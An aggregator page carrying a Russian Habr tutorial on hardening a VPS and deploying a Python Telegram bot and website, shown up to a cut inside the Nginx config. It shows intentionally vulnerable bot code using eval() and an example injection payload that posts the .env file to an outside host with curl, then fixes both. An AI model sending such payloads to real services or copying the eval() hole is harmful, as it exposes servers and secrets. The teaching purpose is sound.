惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
博客园 - 三生石上(FineUI控件)
S
Securelist
U
Unit 42
The Cloudflare Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Simon Willison's Weblog
Simon Willison's Weblog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
B
Blog
T
Tenable Blog
The Hacker News
The Hacker News
The Register - Security
The Register - Security
IT之家
IT之家
博客园 - 【当耐特】
Spread Privacy
Spread Privacy
P
Privacy & Cybersecurity Law Blog
博客园_首页
T
Tailwind CSS Blog
人人都是产品经理
人人都是产品经理
C
Cybersecurity and Infrastructure Security Agency CISA
Know Your Adversary
Know Your Adversary
NISL@THU
NISL@THU
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
T
Tor Project blog
C
CERT Recently Published Vulnerability Notes
Apple Machine Learning Research
Apple Machine Learning Research
Stack Overflow Blog
Stack Overflow Blog
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
V
Vulnerabilities – Threatpost
A
Arctic Wolf
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
V
V2EX
aimingoo的专栏
aimingoo的专栏
大猫的无限游戏
大猫的无限游戏
Scott Helme
Scott Helme
L
LINUX DO - 热门话题
Cyberwarzone
Cyberwarzone
V
Visual Studio Blog
月光博客
月光博客
爱范儿
爱范儿
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
美团技术团队
G
GRAHAM CLULEY
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
H
Heimdal Security Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Как безопасно настроить VPS-сервер и защитить сайт, бот и веб-приложение
VadimMichaylov · 2026-06-29 · via Все публикации подряд на Хабре

С необходимостью запуска кода на сервере сегодня сталкиваются далеко не только профессиональные айтишники. В наше время популярна разработка через ИИ (Claude, Gemini, ChatGPT и др.). Любой человек с идеей и доступом к моделям может быстро сгенерировать работающий код. Проблема в том, что люди зачастую слабо представляют, какие базовые уязвимости тащит за собой сгенерированный проект.

На стадии деплоя безопасность критична. Ниже мы разберём, как настраивать сервер и проверять код на наличие самых базовых уязвимостей на примере бота и сайта.

Безопасная настройка сервера

Первый вход на сервер и развёртывание бота

Для начала нам нужно войти на сервер. После покупки VPS провайдер пришлёт вам на почту (или покажет в личном кабинете) заветные данные для доступа. Обычно это три строчки:

  • IP-адрес сервера (например, 192.168.1.50);

  • имя пользователя (для Linux по умолчанию это почти всегда root);

  • пароль (длинный набор случайных символов).

Поскольку графического стола у сервера нет, мы будем подключаться через безопасный протокол SSH (Secure Shell).

Шаг 1. Открываем терминал. Если у вас Windows 10/11: нажмите Win + R, введите cmd и нажмите Enter. Откроется стандартная командная строка. Никаких сторонних программ вроде PuTTY скачивать больше не нужно. Если у вас macOS: нажмите Cmd + Пробел, введите слово «Терминал» (Terminal) в поиске Spotlight и нажмите Enter. Если у вас Linux: откройте терминал привычным для себя способом.

Шаг 2. Вводим команду подключения. В терминале введите следующую команду, подставив IP-адрес своего сервера, и нажмите Enter:

ssh root@ваш_IP_адрес

Шаг 3. Проходим проверку безопасности. При самом первом подключении терминал выдаст предупреждение: The authenticity of host... can't be established. Are you sure you want to continue connecting? Не пугайтесь, сервер просто сообщает, что ваш компьютер видит его впервые. Наберите слово yes и нажмите Enter.

Шаг 4. Вводим пароль. Теперь сервер попросит пароль:

root@ваш_IP_адрес's password:

Важнейший момент для новичков: когда вы будете вводить или вставлять (через Ctrl+V или правый клик мыши) пароль, в терминале ничего не изменится. Не появятся ни звёздочки, ни точки, курсор останется на месте. Это базовая безопасность Linux, чтобы никто не подсмотрел длину вашего пароля. Просто вставьте его один раз и нажмите Enter.

Если всё сделано правильно, перед вами появится приветственный текст от Ubuntu и приглашение к вводу, оканчивающееся на значок #. Теперь вы внутри своего собственного сервера!

Подготовка сервера к безопасному деплою

Символ # в конце строки ввода означает, что вы находитесь в системе под пользователем root (суперпользователь). У вас есть абсолютные права на любые изменения, поэтому действовать нужно аккуратно. Перед тем как загружать код вашего проекта, сервер необходимо обновить и настроить.

Шаг 1. Обновление пакетного менеджера. В Windows программы скачивают через браузер, а на смартфонах — через App Store или Google Play. В Linux за это отвечает встроенный пакетный менеджер. В Ubuntu он называется APT (Advanced Package Tool). APT — это консольный менеджер пакетов. Пакет в Linux — это аналог установочного файла .exe или .msi. Пакетный менеджер сам знает, откуда безопасно скачать нужную программу, как её установить и какие дополнительные библиотеки для этого потребуются.

В любой непонятной ситуации на новом сервере первым делом обновляйте списки доступных пакетов и сами программы. Это закроет старые уязвимости и предотвратит ошибки несовместимости при установке библиотек. Выполните команду:

apt update && apt upgrade -y
  • apt update — скачает свежие списки программ из репозиториев Ubuntu.

  • apt upgrade — обновит установленные в системе утилиты до актуальных версий. Флаг -y автоматически ответит «да» на все вопросы системы в процессе обновления.

Защита VPS сервера: вход по ключам и отключение root

Оставлять вход по обычному паролю опасно: хакерские боты непрерывно сканируют сеть и пытаются подобрать пароли к root-пользователям. Защитим сервер по стандарту: настроим вход по SSH-ключам, создадим обычного пользователя, а удалённый доступ для root заблокируем. Все действия по генерации делаются на вашем домашнем компьютере (выйдите из сервера командой exit или откройте новое окно терминала на ПК).

Шаг 1. Генерируем пару ключей на домашнем ПК. В терминале своего компьютера введите:

ssh-keygen -t ed25519

Утилита задаст два вопроса: куда сохранить ключ и нужно ли установить кодовую фразу. На оба вопроса просто нажимайте Enter. В папке .ssh вашего компьютера создадутся два файла: id_ed25519 (приватный ключ, ваш секрет) и id_ed25519.pub (публичный ключ, замок).

Шаг 2. Отправляем публичный ключ на сервер. Для macOS и Linux выполните одну команду:

ssh-copy-id root@ваш_IP_адрес

Дальше надо просто ввести пароль от VPS, который вам дал провайдер.

Для Windows (вручную): выведите ключ на экран type %USERPROFILE%\.ssh\id_ed25519.pub и скопируйте строку. Зайдите на сервер по паролю, откройте файл ключей nano ~/.ssh/authorized_keys. Вставьте строку, нажмите Ctrl+O, Enter (сохранить) и Ctrl+X (выход). Убедитесь, что теперь при команде ssh root@ваш_IP_адрес вас пускает на сервер мгновенно без ввода пароля.

Дальше нужно сделать вход не от root. Выполните следующие команды на вашем VPS, подключившись к нему пока ещё под учётной записью root.

Создайте нового пользователя (замените username на любое желаемое имя):

adduser username

Система попросит вас дважды ввести пароль для нового аккаунта.

Добавьте пользователя в группу администраторов — это позволит ему выполнять команды от имени суперпользователя через sudo:

usermod -aG sudo username

Скопируйте ваш SSH-ключ новому пользователю, чтобы не потерять доступ по ключу:

rsync --archive --chown=username:username ~/.ssh /home/username

Проверьте подключение: откройте новое окно терминала на вашем компьютере и попробуйте войти. Не закрывайте текущую сессию root, пока не убедитесь, что новый вход работает.

ssh username@IP_адрес_вашего_сервера

Отключите вход для root (опционально): если вход прошёл успешно, откройте файл /etc/ssh/sshd_config и установите запрет на прямое подключение root-пользователя, введя PermitRootLogin no. После этого перезапустите службу SSH: sudo systemctl restart ssh.

Защита от брутфорса с помощью Fail2ban

Даже если вход по паролю отключён, боты будут постоянно сканировать ваш SSH-порт. Это тратит ресурсы сервера и забивает логи. Утилита Fail2ban решает эту проблему: она анализирует логи в реальном времени и временно блокирует IP-адреса, которые ведут себя подозрительно.

Шаг 1. Установка утилиты. Установите Fail2ban из стандартного репозитория Ubuntu (команда выполняется под вашим новым пользователем с использованием sudo):

sudo apt install -y fail2ban

Шаг 2. Настройка конфигурации (создание jail.local). По умолчанию Fail2ban хранит настройки в файле /etc/fail2ban/jail.conf. Трогать его напрямую нельзя, так как при первом же обновлении программы все ваши изменения затрутся. Правильный подход в Linux — создать копию конфигурации с расширением .local:

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

Теперь откройте созданный файл в текстовом редакторе:

sudo nano /etc/fail2ban/jail.local

Шаг 3. Задаём правила блокировки. Пролистайте файл вниз до секции [DEFAULT]. Нам нужно найти и настроить три главных параметра, которые управляют логикой банов (если перед строкой стоит знак #, удалите его):

bantime = 10m
findtime = 10m
maxretry = 5

Давайте разберём, что значат эти цифры и как их лучше изменить новичку:

  • maxretry — количество разрешённых неудачных попыток авторизации подряд. Для безопасности стоит поставить в районе 3–5.

  • findtime — окно времени, в течение которого считаются эти неудачные попытки. Оставляем 10m (10 минут).

  • bantime — время, на которое бот отправляется в чёрный список. 10 минут (10m) маловато — боты вернутся снова. Лучше выставить 1d (1 день) или 1w (1 неделя), чтобы отвадить взломщиков надолго.

Шаг 4. Включаем защиту SSH. Найдите в файле секцию [sshd]. Убедитесь, что она выглядит следующим образом (если строки enabled = true нет, обязательно допишите её вручную сразу под заголовком):

[sshd]
enabled = true
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

Сохраните изменения (нажмите Ctrl + O, затем Enter) и выйдите из редактора (нажмите Ctrl + X).

Шаг 5. Запуск и проверка службы. Перезапустите Fail2ban, чтобы он применил новые правила, и добавьте его в автозапуск системы:

sudo systemctl restart fail2ban
sudo systemctl enable fail2ban

Чтобы убедиться, что защита от брутфорса работает, проверьте статус утилиты:

sudo fail2ban-client status

В выводе вы увидите список активных защитных зон (Jails). Там должно быть написано: Number of jail: 1 и Jail list: sshd.

Шпаргалка: полезные команды для работы с Fail2ban. Посмотреть, сколько ботов уже забанено прямо сейчас:

sudo fail2ban-client status sshd

Вы удивитесь, но уже через пару часов в строке Banned IP list появятся первые десятки заблокированных адресов со всего мира. Как разбанить самого себя (если вы случайно трижды ошиблись паролем): если вы настраивали сервер с телефона или другого ПК и попали под горячую руку файрвола, зайдите со своего основного компьютера и введите:

sudo fail2ban-client set sshd unbanip ВАШ_ДОМАШНИЙ_IP

Проверка кода на уязвимости (SAST) перед запуском

В современном вебе используется огромное количество языков программирования. Настроить сервер под каждый из них в рамках одной статьи невозможно, поэтому мы рассмотрим два полярных примера, которые покроют 90% задач новичка:

  • Telegram-бот на Python — пример классического скриптового (интерпретируемого) языка, который работает в фоне.

  • Полноценный веб-сайт — бэкенд напишем на компилируемом Go (Golang), базу данных сделаем на SQLite, а фронтенд развернём на чистом JavaScript (Pure JS) без тяжёлых фреймворков.

Но перед тем как отправлять файлы на сервер, код необходимо проверить на уязвимости, скрытые баги и забытые пароли. Этот этап называется статическим анализом (SAST). Давайте разберём, как проверить каждую часть нашего будущего стека.

Пример: Telegram-бот на Python

from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, filters, ContextTypes

BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")

async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
    user_input = update.message.text
    # Уязвимость №2: считаем выражение через eval()
    result = eval(user_input)  # вот тут и ошибка
    await update.message.reply_text(f"Ответ: {result}")

if __name__ == "__main__":
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
    app.run_polling()

Бот работает. Пишете ему 2+2*10 — отвечает 22. Красота, можно показывать друзьям. Только под капотом два жирных бага:

Уязвимость №1: Hardcoded credentials (зашитый токен). Токен бота — это пароль. С ним кто угодно может: читать всю переписку с вашим ботом, отвечать пользователям от его имени (привет, фишинг), забанить вас как владельца. Главная беда — вы, скорее всего, зальёте код на GitHub. Даже если репозиторий «приватный», его можно случайно сделать публичным, или вы случайно закоммитите токен раньше, чем сделаете репозиторий приватным. Сканеры утечек прочёсывают новые коммиты на GitHub за минуты. Токен утечёт раньше, чем вы допьёте кофе.

Уязвимость №2: eval() = RCE. Функция eval() берёт строку и выполняет её как Python-код. Вы ждёте 2+2. А злоумышленник пришлёт боту:

__import__('os').system('curl -X POST -d @.env http://notyourapp.com')

И ваш сервер скачает и запустит чужой скрипт. От имени того пользователя, под которым работает бот. Это и есть RCE — Remote Code Execution (удалённое выполнение кода). Что хакер сделает дальше: сольёт вашу БД, украдёт переменные окружения (а там, скорее всего, ещё и другие токены), поставит майнер, использует ваш сервер как прокси для атак на чужие сайты, сотрёт всё подчистую. Один eval() — и сервер больше не ваш.

Шаг 2. Запуск проверки (Bandit). Bandit — это статический анализатор для Python. Он не запускает код, а просто читает его и ищет паттерны опасных конструкций: eval, exec, pickle.loads, захардкоженные пароли, использование md5 для паролей и так далее.

Структура проекта:

sat/
├── main.py
└── venv/        виртуальное окружение, его сканировать не надо

Установка и запуск:

# создаём виртуальное окружение
python3 -m venv venv
source venv/bin/activate
# ставим зависимости проекта и сам Bandit
pip install "python-telegram-bot=22.7"
pip install bandit
# сканируем — ВАЖНО исключить venv, иначе попадут чужие библиотеки
bandit -r . -x ./venv

Грабли, на которые легко наступить. Если запустить просто bandit -r ., Bandit полезет внутрь venv/ и найдёт сотни «проблем» в коде сторонних библиотек (rich, httpx и т.д.). Это не ваш код, чинить его не нужно. Всегда исключайте venv/ флагом -x.

Что выведет терминал (реальный вывод на нашем коде):

[main]  INFO    running on Python 3.14.5
Run started:2026-05-15 20:32:50.768440+00:00
Test results:
>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: '123456789:AAH-example-fake-token-do-not-use'
   Severity: Low   Confidence: Medium
   CWE: CWE-259 (https://cwe.mitre.org/data/definitions/259.html)
   Location: ./main.py:4:12
4   BOT_TOKEN = "123456789:AAH-example-fake-token-do-not-use"
--------------------------------------------------
>> Issue: [B307:blacklist] Use of possibly insecure function - consider using safer ast.literal_eval.
   Severity: Medium   Confidence: High
   CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html)
   Location: ./main.py:13:13
12      user_input = update.message.text
13      result = eval(user_input)
14      await update.message.reply_text(f"Ответ: {result}")
--------------------------------------------------
Code scanned:
        Total lines of code: 14
Run metrics:
        Total issues (by severity):
                Low: 1
                Medium: 1
                High: 0

Bandit чётко указал:

  • B105 означает, что на 4-й строке программы написан реальный пароль или секретный ключ. Это опасно. Если чужой человек увидит код, он может украсть этот секрет.

  • B307 — опасный eval() на 13-й строке (и даже подсказал замену — ast.literal_eval).

Шаг 3. Как НАДО делать. Чиним обе проблемы:

# main.py — исправленная версия
import os
import ast
import operator
import logging
from telegram import Update
from telegram.ext import (
    ApplicationBuilder,
    CommandHandler,
    MessageHandler,
    filters,
    ContextTypes,
)

logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s %(levelname)s %(message)s",
)
log = logging.getLogger(__name__)

# Токен — из переменной окружения. В коде его нет.
BOT_TOKEN = os.environ.get("BOT_TOKEN")
if not BOT_TOKEN:
    raise RuntimeError("Переменная окружения BOT_TOKEN не задана")

# Разрешённые операции — белый список
_ALLOWED_OPS = {
    ast.Add: operator.add,
    ast.Sub: operator.sub,
    ast.Mult: operator.mul,
    ast.Div: operator.truediv,
    ast.Mod: operator.mod,
    ast.Pow: operator.pow,
    ast.USub: operator.neg,
    ast.UAdd: operator.pos,
}

def safe_eval(expr: str) -> float:
    """Безопасный калькулятор: парсим AST и считаем сами."""
    tree = ast.parse(expr, mode="eval")

    def _eval(node):
        if isinstance(node, ast.Expression):
            return _eval(node.body)
        if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):
            return node.value
        if isinstance(node, ast.BinOp) and type(node.op) in _ALLOWED_OPS:
            return _ALLOWED_OPS[type(node.op)](_eval(node.left), _eval(node.right))
        if isinstance(node, ast.UnaryOp) and type(node.op) in _ALLOWED_OPS:
            return _ALLOWED_OPS[type(node.op)](_eval(node.operand))
        raise ValueError("Запрещённая конструкция в выражении")

    return _eval(tree)

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text("Привет! Пришли мне арифметическое выражение.")

async def calc(update: Update, context: ContextTypes.DEFAULT_TYPE):
    text = update.message.text or ""
    # Ограничиваем длину, чтобы никто не положил нас выражением 9**9**9**9
    if len(text) > 100:
        await update.message.reply_text("Слишком длинное выражение.")
        return
    try:
        result = safe_eval(text)
    except (ValueError, SyntaxError, ZeroDivisionError) as e:
        await update.message.reply_text(f"Не могу посчитать: {e}")
        return
    await update.message.reply_text(f"Ответ: {result}")

if __name__ == "__main__":
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, calc))
    log.info("Бот стартовал")
    app.run_polling()

Что мы сделали и почему это сработало:

  1. Токен — в переменной окружения. Он больше не лежит в коде. На сервере токен будет читаться из защищённого файла, который видит только root. В исходниках — пусто.

  2. eval() заменён на собственный мини-интерпретатор. Мы парсим выражение в AST (абстрактное синтаксическое дерево) и обходим узлы сами. Разрешены только числа и базовые операции. Если хакер пришлёт import(‘os’).system(…), парсер увидит узел Call (вызов функции) — а его в белом списке нет → ValueError. Это и называется whitelist-подход: «разрешено только то, что в списке, всё остальное — запрещено».

  3. Ограничение длины ввода. Защита от выражений вроде 999**9 — они валидны как арифметика, но считаются вечность и съедают всю память.

Запускаем Bandit ещё раз:

bandit -r . -x ./venv

Получаем:

Test results:
        No issues identified.

Всё чисто.

Шаг 4. Деплой на VPS как systemd-сервис

Код проверен и чист. Считаем, что у вас уже есть VPS, вы подключены к нему по SSH под своим пользователем (не root) и сервер защищён Fail2ban. Осталось доставить файлы и запустить бота так, чтобы он работал круглосуточно и сам перезапускался после перезагрузки сервера.

Шаг 1. Копируем файлы на сервер (scp). Утилита scp (secure copy) копирует файлы по тому же защищённому каналу, что и SSH. Команды выполняются на вашем домашнем компьютере:

# один файл
scp main.py username@IP_адрес:~
# папка целиком (флаг -r)
scp -r ./мой_проект username@IP_адрес:~
# если SSH работает на нестандартном порту (например, 2222) — флаг -P
scp -P 2222 main.py username@IP_адрес:~
# если используете конкретный ключ — флаг -i
scp -i ~/.ssh/id_ed25519 main.py username@IP_адрес:~

Не заливайте папку venv/ на сервер. Она собрана под вашу операционную систему и на сервере просто не заработает. Вместо этого переносите файл requirements.txt и собирайте окружение заново уже на сервере.

Создайте файл requirements.txt рядом с main.py со списком зависимостей:

python-telegram-bot=22.7

Проект перед отправкой выглядит так:

мой_проект/
├── main.py
└── requirements.txt

Отправьте файлы в домашнюю директорию на сервере:

scp main.py requirements.txt username@IP_адрес:~

Шаг 2. Подготавливаем окружение на сервере. Подключитесь к серверу:

ssh username@IP_адрес

Создадим отдельного системного пользователя без прав входа и собственную папку для бота, а затем перенесём туда файлы:

sudo adduser --system --group --home /opt/tgbot tgbot
sudo mkdir -p /opt/tgbot
sudo mv ~/main.py ~/requirements.txt /opt/tgbot/
sudo chown -R $USER:$USER /opt/tgbot
cd /opt/tgbot

Почему отдельный пользователь: флаг --system создаёт служебный аккаунт без пароля и без возможности войти по SSH. Если бота взломают, атакующий получит права этого ограниченного пользователя, а не вашего аккаунта с sudo.

Собираем окружение и ставим зависимости прямо на сервере:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
deactivate
# отдаём все файлы служебному пользователю
sudo chown -R tgbot:tgbot /opt/tgbot

Шаг 3. Прячем токен в отдельный файл. Токен мы вынесли из кода — теперь надо где-то его хранить на сервере. Положим его в отдельный файл, который сможет читать только root:

sudo nano /etc/tgbot.env

Внутри напишите одну строку:

BOT_TOKEN=сюда_вставьте_токен_бота_от_BotFather

Ограничим права на файл, чтобы его мог читать только владелец (root):

sudo chmod 600 /etc/tgbot.env
sudo chown root:root /etc/tgbot.env

Шаг 4. Создаём systemd-сервис. systemd — это «дирижёр» всех фоновых процессов в Linux. Он сам запустит бота при старте сервера, перезапустит при падении и будет писать логи. Создайте файл описания службы:

sudo nano /etc/systemd/system/tgbot.service

Содержимое файла:

[Unit]
Description=Telegram Bot
After=network.target

[Service]
Type=simple
User=tgbot
Group=tgbot
WorkingDirectory=/opt/tgbot
EnvironmentFile=/etc/tgbot.env
ExecStart=/opt/tgbot/venv/bin/python /opt/tgbot/main.py
Restart=on-failure
RestartSec=5

# Усиление безопасности
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=full
ProtectHome=true

[Install]
WantedBy=multi-user.target

Настройки усиления безопасности означают:

  • NoNewPrivileges=true — процесс никогда не сможет получить больше прав, чем у него есть (даже через sudo или SUID-бинарники).

  • PrivateTmp=true — у службы своя изолированная папка /tmp, чужие процессы её не видят.

  • ProtectSystem=full — системные папки (/usr, /boot, /etc) доступны только для чтения.

  • ProtectHome=true — бот не видит домашние папки пользователей.

Шаг 5. Запускаем. Перезагружаем systemd, включаем автозапуск и сразу стартуем бота:

sudo systemctl daemon-reload
sudo systemctl enable --now tgbot
# проверяем статус
sudo systemctl status tgbot
# смотрим живые логи
sudo journalctl -u tgbot -f

С ботом всё, теперь переходим к сайту.

Безопасное развёртывание и настройка защиты сайта

Бот — это один файл и один процесс. С сайтом всё сложнее: есть веб-сервер, база данных, статика, зависимости разных версий. Чтобы всё это не превратилось в хаос «у меня на компе работало, а на сервере нет», используют Docker. В Docker приложение и все его зависимости упакованы в отдельную коробку (контейнер). Оно не конфликтует с другими программами на сервере. Образ собирается один раз и работает одинаково везде: на вашем ноутбуке, на сервере коллеги, в облаке.

От простой безопасности к защите сайта от ботов

Когда хочется не просто бота, а полноценный сайт с доменом и HTTPS, защита строится слоями. Каждый слой решает свою задачу:

        Интернет
           ↓
      DNS и домен            ← Слой 0: куда ведёт имя сайта
           ↓
  UFW + облачный файрвол   ← Слой 1: какие порты открыты
           ↓
   Nginx + HTTPS            ← Слой 2: шифрование и прокси
           ↓
  Docker (изоляция)         ← Слой 3: приложение в коробке
           ↓
  Безопасный код          ← Слой 4: само приложение

Слой 0. Домен и DNS

DNS — это телефонная книга интернета. Люди помнят имена, а компьютеры общаются по IP-адресам (например, 192.0.2.10). DNS переводит одно в другое. Чтобы ваш домен указывал на сервер, нужно в панели регистратора домена добавить DNS-записи:

Тип

Имя (Host)

Значение

TTL

A

@

IP_вашего_VPS

300

A

www

IP_вашего_VPS

300

Запись типа A связывает имя с IPv4-адресом. Имя @ означает сам домен (example.com), а www — поддомен (www.example.com). TTL — это время кэширования записи в секундах; на время настройки удобно выставить небольшое значение (300), чтобы изменения применялись быстрее.

Проверить, куда ведёт домен, можно с домашнего компьютера:

dig +short example.com   # должен вывести ваш IP
nslookup example.com 8.8.8.8

Слой 1. Файрвол - защита сети и сервера

Файрвол — это охранник на входе, который решает, какие порты открыты для мира. В Ubuntu удобно использовать UFW (Uncomplicated Firewall):

# Сначала ОБЯЗАТЕЛЬНО откройте SSH, иначе сами себя заблокируете
sudo ufw allow OpenSSH
# Веб-порты
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
# Запрещаем всё остальное
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw enable
sudo ufw status verbose

Если у вашего провайдера есть ещё и облачный файрвол (в панели управления), настройте и его по тем же правилам — получится двойная защита.

Слой 2. Nginx и HTTPS

Nginx — это веб-сервер, который стоит перед вашим приложением и берёт на себя несколько ролей:

  • Принимает все запросы из интернета и перенаправляет их вашему приложению (reverse proxy).

  • Шифрует трафик по HTTPS, чтобы данные пользователей нельзя было перехватить.

  • Ограничивает частоту запросов (rate limit) и прячет технические детали от атакующих.

Конфигурация Nginx (положите её в /etc/nginx/sites-available/example.com):

# Rate-limit: 10 запросов/сек с одного IP, burst 20
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

# HTTP → редирект на HTTPS
server {
    listen 80;
    listen [::]:80;
    server_name example.com;
    location / {
        return 301 https://$host$request\\_uri;
    }
}

# HTTPS — основной сервер
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;

    # Сертификаты пропишет certbot автоматически

    # Современные TLS-настройки
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers off;
